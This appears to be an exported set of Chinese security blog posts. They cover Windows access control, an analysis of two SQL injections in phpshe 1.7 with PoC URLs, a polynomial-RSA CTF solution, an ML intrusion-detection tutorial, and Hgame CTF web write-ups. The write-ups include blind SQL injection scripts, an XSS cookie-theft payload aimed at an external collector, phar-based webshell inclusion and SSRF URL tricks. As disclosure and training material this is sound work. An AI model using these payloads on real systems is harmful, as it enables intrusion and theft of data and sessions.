用户C从TGS服务器获取票据tickets C得到Kc,s Tickets 第三 访问服务 0x06 访问控制限制访问主体对访问客体的访问权限,从而使计算机系统在合法范围内使用 6.1windows的访问控制模型及组件 6.2 主体和客体的安全描述 主体:访问令牌 用户认证通过后,系统为其创建访问令牌,线程获取令牌的拷贝 程序请求访问客体时,提交令牌,SRM使用令牌与客体的安全描述进行比较来执行访问检查和控制 客体:安全描述符 每一个安全性对象都有一个安全性描述符。 对象所有者的SIP 基本所有组的SID 自定义的访问控制列表 系统访问控制列表 6.3 客体中策略的冲突解决办法 直接把访问及控制信息分配给对象 从父对象中检查可继承的访问控制信息。(下级的优先权更高) OM所提供的默认访问控制信息,并分配给对象。 6.4 分布式访问控制实现 0x07网络传输安全7.1 IPSEC封装协议 IPsec是一种网络层保护协议 通过对传输前每个IP数据包进行保护来保障网络传输。 作用:提供了身份验证,机密性,完整性三个安全服务。防止重放 7.1.1 工作模式 传输模式 两部主机之前,端对端。 隧道模式 两个不同网段所传送的数据内容加密,适于建立安全VPN隧道。网关对网关。 7.1.2 安全协议IPSEC由一系列安全协议组成,它把通信过程分成协商和数据交互两个阶段。 协商:通信双方互相认证对方的身份,并根据安全策略协商使用的加密。认证算法,生成共享的会话密钥。 数据交互:利用商量好的算法和密钥对数据进行安全处理。 7.2 直接访问 主机对主机7.3 VPN访问","categories":[],"tags":[]},{"title":"phpshe前台两个注入","slug":"phpshe前台两个注入","date":"2019-04-05T13:14:56.000Z","updated":"2019-04-05T13:17:02.757Z","comments":true,"path":"2019/04/05/phpshe前台两个注入/","link":"","permalink":"http://altman.vip/2019/04/05/phpshe%E5%89%8D%E5%8F%B0%E4%B8%A4%E4%B8%AA%E6%B3%A8%E5%85%A5/","excerpt":"1首发于先知 https://xz.aliyun.com/t/4626 前言某商城cms1.7版本中中存在两个前台注入漏洞。话不多说,直接进入分析。","text":"1首发于先知 https://xz.aliyun.com/t/4626 前言某商城cms1.7版本中中存在两个前台注入漏洞。话不多说,直接进入分析。 SQL注入①分析我们直接定位到漏洞存在点 module/index/cart.php :12-32 行处。 123456789101112131415161718192021case 'pintuan': $product_id = intval($_g_id); $product_guid = intval($_g_guid); $product_num = intval($_g_num); if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录')); //检测库存 $product = product_buyinfo($product_guid); if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效')); if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>\"库存仅剩{$product['product_num']}件\")); //检测虚拟商品 if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车')); //检测拼团 if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车')); if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束')); $cart = $db->pe_select('cart', array('cart_act'=>'cart', 'user_id'=>$user_id, 'product_guid'=>$product_guid)); if ($act == 'add' && $cart['cart_id']) { $sql_set['product_num'] = $cart['product_num'] + $product_num; if ($product['product_num'] < $sql_set['product_num']) pe_jsonshow(array('result'=>false, 'show'=>\"库存仅剩{$product['product_num']}件\")); if (!$db->pe_update('cart', array('cart_id'=>$cart['cart_id']), $sql_set)) pe_jsonshow(array('result'=>false, 'show'=>'异常请重新操作')); $cart_id = $cart['cart_id']; } 可以看到对进入”pintuan分支后”,对参数进行了强制转整数。那这三个参数基本不用想了。 然后继续阅读代码,注意到 1if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束')); 这里出现了$gpintuan_id这个参数。find一下发现代码并没有对他进行任何操作。那么这里可能是存在注入的。 我们定位到pintuan_check函数处。 1234567891011121314function pintuan_check($huodong_id, $pintuan_id = 0) { global $db; if ($pintuan_id) { $info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id)); if (!$info['pintuan_id']) return false; if (in_array($info['pintuan_state'], array('success', 'close'))) return false; } else { $info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id)); if (!$info['huodong_id']) return false; if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false; } return true;} 可以看到这个函数同样没有对$pintuan_id做过滤,直接将它拼接到了pe_select这个函数中。 虽然pintuan_check只会返回ture或者false,不会返回数据,但是我们只需要他执行了sql语句就够了。 继续跟进到pe_select。 123456public function pe_select($table, $where = '', $field = '*') { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_select(\"select {$field} from `\".dbpre.\"{$table}` {$sqlwhere} limit 1\"); } 此时pintuan_id的值被赋予到了where处。 然后调用了_dowhere进行处理。之后将处理过的语句直接拼接到了sql语句中。 跟进_dowhere看一下它是怎么处理的。 12345678910111213141516171819protected function _dowhere($where){ if (is_array($where)) { foreach ($where as $k => $v) { $k = str_ireplace('`', '', $k); if (is_array($v)) { $where_arr[] = \"`{$k}` in('\".implode(\"','\", $v).\"')\"; } else { in_array($k, array('order by', 'group by')) ? ($sqlby .= \" {$k} {$v}\") : ($where_arr[] = \"`{$k}` = '{$v}'\"); } } $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby; } else { $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? \"{$where}\" : \"where 1 {$where}\"; } return $sqlwhere;} 首先pintuan_id在pintuan_check处被数组化。所以直接进入if分支。 将键名中的反引号替换为空。 之后就是正常的替换order by和设置where语句。 返回pe_select,跟进到sql_select中。 123456public function sql_select($sql) { $row = array(); echo $sql; return $row = $this->fetch_assoc($this->query($sql)); } 调用了query来处理sql语句。 继续跟进query函数 12345678910111213public function query($sql) { $this->sql[] = $sql; if ($this->link_type == 'mysqli') { $result = mysqli_query($this->link, $sql); if ($sqlerror = mysqli_error($this->link)) $this->sql[] = $sqlerror; } else { $result = mysql_query($sql, $this->link); if ($sqlerror = mysql_error($this->link)) $this->sql[] = $sqlerror; } return $result; } 调用了 mysqli_query语句查询。 那么pintan_id传递的整个流程就是 12345pintuan_check( )db->pe_select( )db->sql_select( )db->query()mysqli_query 构造poc首先登陆一个用户,然后构造语句 1pintuan_id=%27%20and%20if((1=1),sleep(5)),1)--%201 经过上述函数的处理后得到sql语句为 1select * from `pe_pintuan` where `pintuan_id` = '' and if((1=1),sleep(5)),1)-- 1' limit 1 但是我们并没有成功延时,百思不得其解后在本地进行测试。 同样没有延时,突然想到 pe_pintuan这个表是空表,那么后面的sleep不会执行。 我们需要构造一个子查询来执行语句。 成功延时,然后在网站上进行注入尝试。 1http://127.0.0.1/phpshe//index.php?mod=cart&act=pintuan&guid=1&id=1&num=&pintuan_id=%27%20and%20(if((1=1),(select%20*%20from%20(select%20sleep(5))a),1))--%201 成功注入。 SQL注入②分析第二个注入是一个union注入,注入点在include/plugin/payment/alipay/pay.php:34-35处 12$order_id = pe_dbhold($_g_id);$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id)); 首先对$order_id做了过滤处理。 跟进看一下pe_dbhold的具体操作。 12345678910111213function pe_dbhold($str, $exc=array()){ if (is_array($str)) { foreach($str as $k => $v) { $str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v); } } else { //$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str)); $str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str)); } return $str;} 对参数进行了转义。我们无法闭合where后面的引号,但是别着急, 再跟进一下order_table函数 123456789function order_table($id) { if (stripos($id, '_') !== false) { $id_arr = explode('_', $id); return \"order_{$id_arr[0]}\"; } else { return \"order\"; }} 如果提交的参数中含有下划线,会返回下划线前的内容。 否则返回字符串order。 至于pe_select 我们已经分析过了,但是如果我们选择从table处注入,那么就不需要闭合单引号,使用反引号闭合table即可,那么就绕过了转义操作。 123456public function pe_select($table, $where = '', $field = '*') { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_select(\"select {$field} from `\".dbpre.\"{$table}` {$sqlwhere} limit 1\"); } 构造poc尝试构造一下联合查询注入语句 1/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12--%20_ 此时传入query的语句就是 1select * from `pe_order_pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12-- 成功绕过了转义,并且将数据打印了出来 总结第一处注入点如果pintuan不是空表的话会很容易注入,存在原因也是没有对可控参数进行过滤。 第二处注入点已经做到了对参数的转义,但是由于table得值处仍然使用了这个参数来获取,并且将table直接拼接到了查询语句中,依旧造成了查询。 我认为这个cms存在这么多注入漏洞的主要原因是将安全防护函数与DB操作函数分开定义,总是会存在调用了DB操作函数时忘了调用过滤函数的情况。建议将pe_select函数等DB操作函数中加入过滤语句。","categories":[],"tags":[]},{"title":"基于多项式的RSA体制","slug":"基于多项式的RSA体制推导","date":"2019-03-25T03:38:20.000Z","updated":"2019-04-01T15:46:13.732Z","comments":true,"path":"2019/03/25/基于多项式的RSA体制推导/","link":"","permalink":"http://altman.vip/2019/03/25/%E5%9F%BA%E4%BA%8E%E5%A4%9A%E9%A1%B9%E5%BC%8F%E7%9A%84RSA%E4%BD%93%E5%88%B6%E6%8E%A8%E5%AF%BC/","excerpt":"1首发先知社区:https://xz.aliyun.com/t/4545 前言周末做了0CTF的babyrsa,其中在对于多项式的欧拉函数计算时遇到一些阻碍,记录一下解决过程。","text":"1首发先知社区:https://xz.aliyun.com/t/4545 前言周末做了0CTF的babyrsa,其中在对于多项式的欧拉函数计算时遇到一些阻碍,记录一下解决过程。 算法分析代码很容易看懂 123456789101112131415161718192021222324#!/usr/bin/env sage# coding=utf-8from pubkey import P, n, efrom secret import flagfrom os import urandomR.<a> = GF(2^2049)def encrypt(m): global n assert len(m) <= 256 m_int = Integer(m.encode('hex'), 16) m_poly = P(R.fetch_int(m_int)) c_poly = pow(m_poly, e, n) c_int = R(c_poly).integer_representation() c = format(c_int, '0256x').decode('hex') return cif __name__ == '__main__': ptext = flag + os.urandom(256-len(flag)) ctext = encrypt(ptext) with open('flag.enc', 'wb') as f: f.write(ctext) encrypt函数是一个标准的RSA加密过程。但是区别在于这里的明文与N都是多项式表达。 我们先回顾一下基于整数的RSA加解密原理。 整数RSA加解密原理首先 选取素数p q。$n=p*q$ 然后求 φ(n),那么 $φ(n)=(p-1)*(q-1)$ 选取一个e与φ(n)互质。 之后就可以加密 $(m^e)\\equiv c \\ mod \\ n$ 得到密文c。 计算私钥d 满足 $e*d \\equiv 1\\ mod \\ φ(n)$ 解密原理 :首先得到式子①$$c^d \\equiv (m^e)^d \\equiv m^{ed} \\equiv m^{φ(n)+1}\\ mod \\ n \\ \\$$暂且仅考虑 $ gcd(n,m)=1$ 由欧拉定理得 式子②$$m^{φ(n)}\\equiv1 \\ mod \\ n \\m^{φ(n)+1}\\equiv m \\ mod \\ n$$有①②得出$$(c^d)\\equiv m \\ mod \\ n$$ 多项式RSA推导在上面RSA原理的基础上将多项式的代入整数进行分析。 在有限域上选取两个不可约多项式 g(p) g(q) 。$g(n)=g(p)*g(q)$ 计算出 $g(n)$的欧拉函数 $φ(g(n))=phi$。 选取一个整数e作为公钥,e与phi是互素的。 那么对于明文g(m),加密过程 $g(m)^e \\equiv g(c)\\ mod \\ g(n)$ 计算私钥d 满足 ($ e*d \\equiv 1\\mod\\ phi$) 接下来与上面的推导一样。$$g(c)^d \\equiv (g(m)^e)^d \\equiv g(m)^{ed} \\equiv g(m)^{phi+1}\\ mod \\ g(n) \\ \\$$同样考虑 g(n)与g(m)互素。 欧拉定理对于多项式亦成立,得到:$$g(m)^{phi+1}\\equiv g(m) \\ mod \\ n \\所以 (g(c)^d)\\equiv g(m) \\ mod \\ g(n)$$那么显然RSA对于整数的体制可以适用于有限域上的多项式。 解题踩坑利用sage语言来解题。 先对密文进行还原 1234file_object = open('./flag.enc','rb')file_context = file_object.read()x=int(file_context.encode('hex'),16)print x 得到明文的整数形式。 对n进行分解得到两个不可约多项式p q 计算phi,以及d。 12sage: phi=(p-1)*(q-1)sage: d=inverse_mod(e,phi) 此时出现了报错,因为e是整数而phi为多项式,将phi转为整数 1sage:phi_int=R(P(phi)).integer_representation() 继而求出了d。 解密 12sage:flag=pow(c,d,n)sage:flag_int=R(P(flag)).integer_representation() 接下来对flag_int转string发现乱码。 接下来陷入了自闭。 多次进行检查验证,算法本身是没有问题的,出问题可能就出在求d的过程中。 解决问题求d需要e和phi。那么问题只能出在phi身上。 对于素数x,φ(x)=x-1。 但是对于不可约多项式p(x),经过简单验证φ(p(x))=x-1是不成立的。 那么是否$φ(x)=x-y $ (y为$GF(2^n)$的本源多项式) ,经过简单的举例验证他依旧是不成立的。 不可约多项式的欧拉函数怎么求呢。回到欧拉函数定义本身,欧拉函数是小于或等于n的正整数中与n互质的数的数目。 再看不可约多项式p(x),除了0,长度为n每一个多项式都与p(x)互素,因此,$φ(p(x))=2^n-1$。 那么对于此题的$φ(p) = 2^{821}-1 \\ φ(q)=2^{1227}-1$ 正确的phi即为 $φ(p)*φ(q)$ 获得flag得到了正确的phi再进行解密 12345sage: c_poly=P(R.fetch_int(c))sage: phi_int=(2^1227-1)*(2^821-1)sage: d=inverse_mod(e_int,phi_int)sage: flag=pow(c_poly,d,n)sage: flag_int=R(P(flag)).integer_representation() 得到flag_int,转为字符串 总结总的来说基于整数和基于多项式的RSA体制大致相同,只是多项式在值的计算上例如欧拉函数,取模反等地方需要注意区别。","categories":[],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://altman.vip/tags/crypto/"}]},{"title":"人工神经网络学习","slug":"人工神经网络学习","date":"2019-02-18T15:11:15.000Z","updated":"2019-04-16T08:42:41.255Z","comments":true,"path":"2019/02/18/人工神经网络学习/","link":"","permalink":"http://altman.vip/2019/02/18/%E4%BA%BA%E5%B7%A5%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E5%AD%A6%E4%B9%A0/","excerpt":"理论ANN大致知识基本概念神经网络由输入层(input layer),隐藏层(hidden layers),输出层(output layer)三部分组成,如下图。输入层(input layer)是由训练集的样本特征向量传入。每层由神经元(neuron)或单元(unit)组成。","text":"理论ANN大致知识基本概念神经网络由输入层(input layer),隐藏层(hidden layers),输出层(output layer)三部分组成,如下图。输入层(input layer)是由训练集的样本特征向量传入。每层由神经元(neuron)或单元(unit)组成。 经过连接节点的权重(weight)传入下一层,上一层的输出是下一层的输入,一层中的加权求和,然后根据非线性方程转化为下一层的输入。 即一个神经元,可以把它分成左半球和右半球两部分。左半球为上一层加权求和的结果,为此神经元的输入。右半球为加权求和结果即左半球值通过非线性方程转化后的值,为此神经元的输出 将神经元图中的所有变量用符号表示,并且写出输出的计算公式的话,就是下图。 激活函数这个非线性方程就是激活函数,通过激活函数就可以把线性的值转成非线性的值。常用的激活函数有三种,Sigmoid,Tanh和ReLU。其中sklearn中神经网络默认选择的是ReLU。 MLP (Multi-Layer Perceptron) 多层感知器MLP为多层感知器,我们首先来看只有一个隐含层的MLP,如下图。 )和上面介绍过的一样,h0的输入值就是x0w00+x1w10+x2w20+x3w30,输出值就是用激活函数,即tanh(x0w00+x1w10+x2w20+x3w30)。 最后y的值就是前一层即隐含层的权重和 多层MLP即包含多个隐含层。 算法在sklearn中有三种算法。 lbfgs, sgd, adam。 adam适用于较大的数据集,lbfgs适用于较小的数据集。 代码实现数据处理使用经典的KDD Cup 1999 Data作为数据集。 python的pandas包导入数据。 下面是部分核心算法。 12345678910111213141516171819202122232425262728293031323334353637# -*- coding:utf-8 -*-# -*- author:altman -*-import pandas as pdfrom sklearn.model_selection import train_test_splitfrom sklearn.neural_network import MLPClassifierfrom sklearn.preprocessing import LabelEncoder, OneHotEncoderimport timedataset=pd.read_csv('kddcup.data')# In[ ]:def trans(type):#讲数据类型二分 if type!='normal.': type='attack' return typedef label(x,cols): for i in cols: label=LabelEncoder() x[:,i]=label.fit_transform(x[:,i])dataset['normal.']=dataset['normal.'].apply(trans)#把标签和前面的特征分开,x作为特征,y作为相应的标签x = dataset.iloc[:, :-1].values#第1,2,3列不是数值型的特征,我们用LabelEncoder对其进行编码cols1=[1,2,3]label(x, cols1)cols2=[1,4,70]#对第1列进行OneHot编码,只有三种情况(tcp,udp,icmp),因而原来的第二列就被推到了第四列,以此类推,对前三列进行OneHot编码for i in cols2: onehot=OneHotEncoder(categorical_features=[i]) x=onehot.fit_transform(x).toarray()#对标签再进行编码y = dataset.iloc[:, 41].valueslabely=LabelEncoder()y=labely.fit_transform(y)#划分数据集x_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.25, random_state = 0) 训练123456unit = 5 #设置5个神经元t=time.time()ann_model = MLPClassifier(hidden_layer_sizes=[unit], activation='logistic', solver='lbfgs', random_state=0) #选择logistic函数,lbfgs算法ann_model.fit(x_train, y_train)print('神经元个数{},准确率:{:.5f},用时:{:.3f}'.format(unit, ann_model.score(x_test, y_test),time.time()-t)) 结果 用完整数据集跑时间和准确率都很理想。 参考: https://yq.aliyun.com/articles/109852 https://blog.csdn.net/zxfhahaha/article/details/80196431 https://blog.csdn.net/Summer_And_Opencv/article/details/72802158","categories":[],"tags":[{"name":"机器学习","slug":"机器学习","permalink":"http://altman.vip/tags/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"}]},{"title":"Hgame_week3_web","slug":"Hgame-week3-web-","date":"2019-02-12T03:08:44.000Z","updated":"2019-02-18T06:36:04.010Z","comments":true,"path":"2019/02/12/Hgame-week3-web-/","link":"","permalink":"http://altman.vip/2019/02/12/Hgame-week3-web-/","excerpt":"sqli-1 Url: http://118.89.111.179:3000/ 一个简单的md5验证。 提交正确的code参数后得到提示 sql error。 同时提交一个id参数得到回显。 写一个交互的脚本方便测试","text":"sqli-1 Url: http://118.89.111.179:3000/ 一个简单的md5验证。 提交正确的code参数后得到提示 sql error。 同时提交一个id参数得到回显。 写一个交互的脚本方便测试 123456789101112131415161718192021222324252627282930# -*- coding:utf-8 -*-# -*- author:altman -*-import requestsimport hashlibpay=\"'or 1=1#\"url=\"http://118.89.111.179:3000/\"cookie={ 'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'}def getcode(): r=requests.get(url=url,cookies=cookie) ans='' code=r.content[35:39] code=str(code) for i in range(0, 9999999): if hashlib.md5(str(i)).hexdigest()[0:4] == code: ans=str(i) break return ansdef sql(pay): code=getcode() url1=url+\"?code=\"+code+\"&id=\"+pay r = requests.get(url=url1, cookies=cookie) print r.contenta=\"-1 union select (select column_name from information_schema.columns where table_schema='hgame' and table_name='f1l1l1l1g' limit 0,1)%23\"b=\"-1 union select f14444444g from f1l1l1l1g%23\"sql(b) 最基础的带回显的注入。 sqli-2 url: http://118.89.111.179:3001/?id=1 上一题的盲注版本,由于只会告诉你sql语句是否执行,所以bool盲注显然不行。 可以使用时间盲注,然而时间盲注太浪费时间,我选择报错盲注。 Payload :1 and if((1=2),exp(999999999),1)# 当if成立时,会执行exp(999999999),造成报错,显示sql error。 当if不成立时,则显示sql已执行。 同样脚本破之。 1234567891011121314151617181920212223242526272829303132333435363738394041# -*- coding:utf-8 -*-# -*- author:altman -*-import requestsimport hashlibimport stringurl=\"http://118.89.111.179:3001/\"cookie={ 'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'}def getcode(): r=requests.get(url=url,cookies=cookie) ans='' code=r.content[79:83] code=str(code) for i in range(0, 9999999): if hashlib.md5(str(i)).hexdigest()[0:4] == code: ans=str(i) break return ansdef sql(pay): code=getcode() url1=url+\"?code=\"+code+\"&id=\"+pay r = requests.get(url=url1, cookies=cookie) return r.contenta=\"1 and if((1=2),exp(999999999),1)#\"flag=''for j in range(0,999): for i in string.letters+'0123456789'+'_{}': a = \"1 and if((ascii(substr((select fL4444Ag from F11111114G limit 0,1),%d,1))=%d),exp(999999999),1)#\" %(j,ord(i)) if \"error\" in sql(a): flag+=i print flag break#hgame#F11111114G#fL4444Ag#hgame{sqli_1s_s0_s0_s0_s0_interesting} 神器的md5简单探测后发现源码备份 .login.php.swp vim -r 恢复后得到源码,这里贴上php的部分。 12345678910111213141516171819202122232425<?phpsession_start();error_reporting(0); if (@$_POST['username'] and @$_POST['password'] and @$_POST['code']) {Press EN$username = (string)$_POST['username']; $password = (string)$_POST['password']; $code = (string)$_POST['code']; if (($username == $password ) or ($username == $code) or ($password == $code)) { echo "Your input can't be the same"; } else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){ echo "Good"; header('Location: admin.php'); exit(); } else { echo "<pre> Invalid password</pre>"; } }?> 审计后发现由于对参数进行了强转string,不能用数组什么的绕过。 需要强行md5碰撞。 找到了这个项目 https://github.com/thereal1024/python-md5-collision 可以生成许多个md5相同的文件。 首先需要安装boost环境 brew install boost 然后 python3 gen_coll_test.py(mac下) 生成一堆文件out_test_xxx.txt。这些文件的md5值都相同。 写一个脚本POST数据。 12345678910111213141516171819# -*- coding:utf-8 -*-# -*- author:altman -*-import requestsurl=\"http://118.25.89.91:8080/question/login.php\"username=open('/Users/a1tm4nz/web/python-md5-collision/out_test_000.txt','r').read()password=open('/Users/a1tm4nz/web/python-md5-collision/out_test_001.txt','r').read()code=open('/Users/a1tm4nz/web/python-md5-collision/out_test_002.txt','r').read()data={ 'username':username, 'password':password, 'code':code}r=requests.post(url=url,data=data)print r.contentprint r.cookies 此时已经成功登录了,之后用登陆后的cookie去访问admin.php就进入下一层。 给了一个shell,我们直接cat admin.php 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647<?phpsession_start();error_reporting(0);?><head><!-- Matomo --><script type=\"text/javascript\"> var _paq = window._paq || []; /* tracker methods like \"setCustomDimension\" should be called before \"trackPageView\" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u=\"//118.25.89.91/piwik/\"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '1']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s); })();</script><!-- End Matomo Code --></head><?phpif ($_SESSION[\"secret\"] === 'hgame2019'){?> <form action=\"\" method=\"post\"> Private Terminal <input type=\"text\" name=\"command\"><input type=\"submit\" name=\"submit\"> </form> <?php if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit'])){ $cmd = (string)$_POST['command']; echo \"<p>The Command is : $cmd </p>\"; echo \"</br>\"; $cmd = str_replace(\"flag\",'none',$cmd); echo \"<p>Result is :\";system($cmd); \"</p>\"; }}else { echo \"<script>alert('Login First')</script>\"; header('Location: login.php'); exit();}?> 有一个简单的替换操作 ,将’flag’替换为’none’。 直接绕过检测读取flag cat /'fla''g' babyxss基础的xss打cookies。 测试后发现后端采取关键字替换为空的waf策略,我们可以采取双写来绕过。 payload<script src=[url]></scr</script>ipt> 懒得去vps接请求了,使用了xsspt(www.xsspt.com)来获取cookie。 提交后接收到了flag。 基础渗透登录后简单测试发现了文件包含 http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=login 拿下所有源码审计。 在functions.php中看到了所有关键函数。 找到了一个文件上传功能,此时想到上传文件getshell。 简单审计发现由于上传后的文件是由一个rand_filename函数进行命名的。 1234567891011function rand_filename(){ $tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`; $sql_query = \"select `avatar` from `users` where `avatar`=$tmp\"; $res = sql_query($sql_query); if ($res->num_rows) { return rand_filename(); } else { return $tmp; }} 我们无法预测到文件名。 需要通过注入找到avatar表中的文件名。所有参数传递时都被加上了addslashes。但是在删除功能处存在一个数字型注入,不需要使用引号闭合,所以addslashes没有起到作用。 12345678910111213function delete_message($message_id){ $user_id = $_SESSION['user_id']; if ($_POST['token'] === $_SESSION['token']) { if ($_SESSION['groups'] == 0) { $sql_query = \"delete from `messages` where `message_id`=$message_id and `user_id`=$user_id\"; } elseif ($_SESSION['groups'] == 1) { $sql_query = \"delete from `messages` where `message_id`=$message_id\"; } sql_query($sql_query); }} 在messge_id处进行注入。 我们先随意上传一张图片,让他生成一个文件名。 通过python脚本,进行注入得到文件名。 Ps:注入时需要有留言存在,所以编写脚本时每次注入前先进行留言。 token会失效,所以每次注入前获取一次最新的token。 123456789101112131415161718192021222324252627282930313233343536373839404142# -*- coding:utf-8 -*-import requestsimport reurl = 'http://111.231.140.29:10080/index.php?action=delete'url1 = 'http://111.231.140.29:10080/messages_api.php?action=delete'url2 = 'http://111.231.140.29:10080/messages_api.php?action=add'cook = { 'PHPSESSID':'dutuigp1v8psgqs84osftj979d', 'user':'altman77', 'groups':'0'}data = { 'message_id':'100 or if((select avatar from users where username like 0x25 limit 1) like 0x25,sleep(5),1)-- 1', 'token':'123'}data1 = { 'new_message':'just a test!!!', 'token':'123'}head = { 'Origin':'http://111.231.140.29:10080', 'X-Requested-With':'XMLHttpRequest', 'Referer':'http://111.231.140.29:10080/index.php?action=message'}flag = ''for x in range(1,100): print x for y in (33,127): f = requests.get(url,cookies=cook,headers=head) token = re.findall(\"\"\"value='(.*?)' id='token'>\"\"\",f.content)[0] data1['token'] = token g = requests.post(url2,data1,cookies=cook,headers=head) f = requests.get(url,cookies=cook,headers=head) token = re.findall(\"\"\"value='(.*?)' id='token'>\"\"\",f.content)[0] data['token'] = token data['message_id'] = '1800 or if(ascii(substr((select avatar from users where username like 0x616c746d616e3737),%s,1))=%s,sleep(5),1)-- 1'%(str(x),y) try: g = requests.post(url1,data,cookies=cook,headers=head,timeout=3) except: flag += chr(y) print flag break 顺利拿到我这个账号随机生成的文件名672bf75b776852d。 由于文件包含处强制拼接了php后缀 1234$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';require $page .'.php';include_once(\"template/footer.php\");?> 无法直接包含文件getshell。 这里想到利用phar协议。 将一句话木马文件index.php压缩成一个zip,抓包修改type为image/png将zip文件上传。然后利用phar协议包含文件getshell。 ?action=phar://./img/avatar/672bf75b776852d.png/index 拿到shell后经过一番搜寻后找到flag 1http://111.231.140.29:10080/index.php?action=phar://./img/avatar/672bf75b776852d.png/1&a=/usr/lib/flag/get_flag%20/usr/lib/flag/flag","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"Hgame_week2_web","slug":"hgame-week2-web","date":"2019-02-04T14:22:51.000Z","updated":"2019-02-12T03:10:03.266Z","comments":true,"path":"2019/02/04/hgame-week2-web/","link":"","permalink":"http://altman.vip/2019/02/04/hgame-week2-web/","excerpt":"easy_php根据网页标题 where is my robot 访问http://118.24.25.25:9999/easyphp/robots.txt 得到一个路径 img/index.php","text":"easy_php根据网页标题 where is my robot 访问http://118.24.25.25:9999/easyphp/robots.txt 得到一个路径 img/index.php 源码如下 12345678<?php error_reporting(0); $img = $_GET['img']; if(!isset($img)) $img = '1'; $img = str_replace('../', '', $img); include_once($img.\".php\"); highlight_file(__FILE__) 得到一个文件包含,尝试包含一下flag.php,双写绕过。 ?img=..././flag 得到一句 maybe_you_should_think_think 显然是存在flag.php的,那么尝试php伪协议包含 ?img=php://filter/read=convert.base64-encode/resource=..././flag 得到PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK 解开后得到flag 123<?php //$flag = 'hgame{You_4re_So_g0od}'; echo \"maybe_you_should_think_think\"; php trick Url : http://118.24.3.214:3001 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<?php//admin.phphighlight_file(__FILE__);$str1 = (string)@$_GET['str1'];$str2 = (string)@$_GET['str2'];$str3 = @$_GET['str3'];$str4 = @$_GET['str4'];$str5 = @$_GET['H_game'];$url = @$_GET['url'];if( $str1 == $str2 ){ die('step 1 fail');}if( md5($str1) != md5($str2) ){ die('step 2 fail');}if( $str3 == $str4 ){ die('step 3 fail');}if ( md5($str3) !== md5($str4)){ die('step 4 fail');}if (strpos($_SERVER['QUERY_STRING'], \"H_game\") !==false) { die('step 5 fail');}if(is_numeric($str5)){ die('step 6 fail');}if ($str5<9999999999){ die('step 7 fail');}if ((string)$str5>0){ die('step 8 fial');}if (parse_url($url, PHP_URL_HOST) !== \"www.baidu.com\"){ die('step 9 fail');}if (parse_url($url,PHP_URL_SCHEME) !== \"http\"){ die('step 10 fail');}$ch = curl_init();curl_setopt($ch,CURLOPT_URL,$url);$output = curl_exec($ch);curl_close($ch);if($output === FALSE){ die('step 11 fail');}else{ echo $output;} 一共有11步if条件需要绕过。 利用php弱相等绕过step1,2 str1=QNKCDZO&str2=240610708 md5函数处理数组会返回false,绕过step3,4 str3[]=1&str4[]=2 php处理url中的位置字符时会自动替换为_,绕过step5 用数组绕过 step678 H.game[]=1 构造url绕过剩下步骤读取admin.php url=http://@127.0.0.1:[email protected]/admin.php 最终payload 1http://118.24.3.214:3001/?str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:[email protected]/admin.php 读到admin.php 123456789101112131415<?php//flag.phpif($_SERVER['REMOTE_ADDR'] != '127.0.0.1') { die('only localhost can see it');}$filename = $_GET['filename']??'';if (file_exists($filename)) { echo \"sorry,you can't see it\";}else{ echo file_get_contents($filename);}highlight_file(__FILE__);?> 利用php伪协议包含flag.php payload 1http://118.24.3.214:3001/?str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:[email protected]/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php 